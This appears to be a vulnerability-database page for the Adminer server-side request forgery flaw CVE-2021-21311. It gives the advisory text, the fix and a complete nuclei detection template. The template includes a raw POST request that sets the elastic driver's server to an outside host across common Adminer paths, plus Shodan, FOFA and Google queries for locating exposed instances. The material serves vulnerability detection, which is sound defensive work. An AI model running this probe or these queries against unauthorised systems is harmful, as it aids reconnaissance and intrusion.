Adminer <4.7.9 - Server-Side Request Forgery

Exploited in the wild. Listed by CISA on 2025-09-29; known to be used by ransomware.

highseverity

7.2CVSS score

98.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Adminer before 4.7.9 is susceptible to server-side request forgery due to exposure of sensitive information in error messages. Users of Adminer versions bundling all drivers, e.g. adminer.php, are affected. An attacker can possibly obtain this information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access to internal resources and potential data leakage.

Fix

Upgrade to version 4.7.9 or later.

How to confirm it

Send: POST {{path}}
Positive when: contains "<title>400 - Bad Request</title>" or "&lt;title&gt;400 - Bad Request&lt;/title&gt;" AND status 403

Run it with nuclei: nuclei -id CVE-2021-21311 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2021-21311

info:
  name: Adminer <4.7.9 - Server-Side Request Forgery
  author: Adam Crosser,pwnhxl
  severity: high
  description: Adminer before 4.7.9 is susceptible to server-side request forgery due to exposure of sensitive information in error messages. Users of Adminer versions bundling all drivers, e.g. adminer.php, are affected. An attacker can possibly obtain this information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access to internal resources and potential data leakage.
  remediation: Upgrade to version 4.7.9 or later.
  reference:
    - https://github.com/vrana/adminer/security/advisories/GHSA-x5r2-hj5c-8jx6
    - https://github.com/vrana/adminer/files/5957311/Adminer.SSRF.pdf
    - https://packagist.org/packages/vrana/adminer
    - https://nvd.nist.gov/vuln/detail/CVE-2021-21311
    - https://github.com/vrana/adminer/commit/ccd2374b0b12bd547417bf0dacdf153826c83351
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:N
    cvss-score: 7.2
    cve-id: CVE-2021-21311
    cwe-id: CWE-918
    epss-score: 0.98464
    epss-percentile: 0.99919
    cpe: cpe:2.3:a:adminer:adminer:*:*:*:*:*:*:*:*
  metadata:
    max-request: 6
    vendor: adminer
    product: adminer
    shodan-query:
      - title:"Login - Adminer"
      - cpe:"cpe:2.3:a:adminer:adminer"
      - http.title:"login - adminer"
    fofa-query:
      - app="Adminer" && body="4.7.8"
      - title="login - adminer"
      - app="adminer" && body="4.7.8"
    google-query: intitle:"login - adminer"
    hunter-query:
      - app.name="Adminer"&&web.body="4.7.8"
      - app.name="adminer"&&web.body="4.7.8"
  tags: cve2021,cve,adminer,ssrf,vkev,kev,vuln

http:
  - raw:
      - |
        POST {{path}} HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        auth[driver]=elastic&auth[server]=example.org&auth[username]={{to_lower(rand_base(8))}}&auth[password]={{to_lower(rand_base(8))}}&auth[db]={{to_lower(rand_base(8))}}

    payloads:
      path:
        - "/index.php"
        - "/adminer.php"
        - "/adminer/adminer.php"
        - "/adminer/index.php"
        - "/_adminer.php"
        - "/_adminer/index.php"

    attack: batteringram
    stop-at-first-match: true
    redirects: true
    max-redirects: 1

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "<title>400 - Bad Request</title>"
          - "&lt;title&gt;400 - Bad Request&lt;/title&gt;"
        condition: or

      - type: status
        status:
          - 403

References

Use this check only on systems you are authorised to test. Where the data comes from